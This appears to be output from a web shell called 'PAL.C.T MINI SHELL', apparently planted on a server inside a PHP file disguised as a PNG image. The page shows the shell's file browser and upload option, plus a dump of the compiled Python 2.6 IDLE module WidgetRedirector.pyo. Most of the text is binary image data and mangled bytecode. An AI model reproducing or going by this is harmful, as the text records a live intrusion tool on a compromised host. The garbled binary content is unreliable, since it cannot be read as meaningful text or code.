php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/idlelib/
upload
files >> //usr/lib/python2.6/idlelib/WidgetRedirector.pyo

Lc@sUddkTdd	dYZdd
dYZdZedjoendS(i(t*tWidgetRedirectorcBsDeZdZdZdZdZdZdZdZRS(sSupport for redirecting arbitrary widget subcommands.

    Some Tk operations don't normally pass through Tkinter.  For example, if a
    character is inserted into a Text widget by pressing a key, a default Tk
    binding to the widget's 'insert' operation is activated, and the Tk library
    processes the insert without calling back into Tkinter.

    Although a binding to <Key> could be made via Tkinter, what we really want
    to do is to hook the Tk 'insert' operation itself.

    When a widget is instantiated, a Tcl command is created whose name is the
    same as the pathname widget._w.  This command is used to invoke the various
    widget operations, e.g. insert (for a Text widget). We are going to hook
    this command and provide a facility ('register') to intercept the widget
    operation.

    In IDLE, the function being registered provides access to the top of a
    Percolator chain.  At the bottom of the chain is a call to the original
    Tk widget operation.

    cCseh|_||_|i|_}|i}|d|_|id||i|i||idS(Nt_origtrename(t_operationstwidgetttkt_wtorigtcallt
createcommandtdispatch(tselfRRtw((s./usr/lib/python2.6/idlelib/WidgetRedirector.pyt__init__s			
cCsd|iii|iifS(NsWidgetRedirector(%s<%s>)(Rt	__class__t__name__R(R((s./usr/lib/python2.6/idlelib/WidgetRedirector.pyt__repr__&scCs{x$t|iD]}|i|qW|i}|`|i}|`|i}|i}|i||id||dS(NR(	tlistRt
unregisterRRRRt
deletecommandR	(Rt	operationRRRR
((s./usr/lib/python2.6/idlelib/WidgetRedirector.pytclose*s				
cCs-||i|<t|i||t||S(N(RtsetattrRtOriginalCommand(RRtfunction((s./usr/lib/python2.6/idlelib/WidgetRedirector.pytregister5s
cCs[||ijoC|i|}|i|=t|i|ot|i|n|SdSdS(N(RthasattrRtdelattrtNone(RRR((s./usr/lib/python2.6/idlelib/WidgetRedirector.pyR:s

cGs`|ii|}y3|o||S|ii|i|f|SWntj
odSXdS(sCallback from Tcl which runs when the widget is referenced.

        If an operation has been registered in self._operations, apply the
        associated function to the args passed into Tcl. Otherwise, pass the
        operation through to Tk via the original Tcl function.

        Note that if a registered function is called, the operation is not
        passed through to Tk.  Apply the function returned by self.register()
        to *args to accomplish that.  For an example, see ColorDelegator.py.

        tN(RtgetRR	RtTclError(RRtargstm((s./usr/lib/python2.6/idlelib/WidgetRedirector.pyRDs!(	Rt
__module__t__doc__RRRRRR(((s./usr/lib/python2.6/idlelib/WidgetRedirector.pyRs					
RcBs#eZdZdZdZRS(cCsR||_||_|i|_|i|_|ii|_|i|if|_dS(N(tredirRRRR	ttk_calltorig_and_operation(RR%R((s./usr/lib/python2.6/idlelib/WidgetRedirector.pyR\s		cCsd|i|ifS(NsOriginalCommand(%r, %r)(R%R(R((s./usr/lib/python2.6/idlelib/WidgetRedirector.pyRdscGs|i|i|S(N(R&R'(RR!((s./usr/lib/python2.6/idlelib/WidgetRedirector.pyt__call__gs(RR#RRR((((s./usr/lib/python2.6/idlelib/WidgetRedirector.pyRZs		cCst}|id|it}|i|it|}d}|id|a|i	|i
d|i|i	|idS(NtWM_DELETE_WINDOWcWsdG|GHt|dS(Ntinsert(tprevious_tcl_fcn(R!((s./usr/lib/python2.6/idlelib/WidgetRedirector.pyt	my_insertss	R*(
tTktwm_protocoltquittTexttpackt	focus_setRRR+tmainloopRRtdestroy(trootttextR%R,((s./usr/lib/python2.6/idlelib/WidgetRedirector.pytmainks		

	



t__main__N(((tTkinterRRR7R(((s./usr/lib/python2.6/idlelib/WidgetRedirector.pyt<module>s

W	

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`